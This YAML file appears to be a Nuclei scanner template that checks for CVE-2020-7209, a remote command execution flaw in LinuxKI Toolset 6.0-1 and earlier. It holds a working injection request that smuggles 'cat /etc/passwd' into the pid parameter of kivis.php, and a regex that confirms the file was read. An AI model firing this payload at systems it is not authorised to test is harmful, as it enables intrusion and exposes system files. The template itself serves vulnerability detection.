id: CVE-2020-7209

info:
  name: LinuxKI Toolset <= 6.01 - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: LinuxKI v6.0-1 and earlier are vulnerable to remote code execution.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: This is resolved in release 6.0-2.
  reference:
    - http://packetstormsecurity.com/files/157739/HP-LinuxKI-6.01-Remote-Command-Injection.html
    - http://packetstormsecurity.com/files/158025/LinuxKI-Toolset-6.01-Remote-Command-Execution.html
    - https://github.com/HewlettPackard/LinuxKI/releases/tag/v6.0-2
    - https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
    - https://www.hpe.com/us/en/home.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7209
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7209
    epss-score: 0.98846
    epss-percentile: 0.9992
    cpe: cpe:2.3:a:hp:linuxki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hp
    product: linuxki
  tags: cve,cve2020,rce,packetstorm,hp,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4b0a00483046022100e86cd4ccf9a3f73205304a8b258a9fe4f1c8c389b3b191e9c5f2cb9ecb5d521a022100ff1ec603f034b2d467fd56ad26ae3277b1a1f4acc5608b8c471ba1ea85ff698a:922c64590222798bb761d5b6d8e72950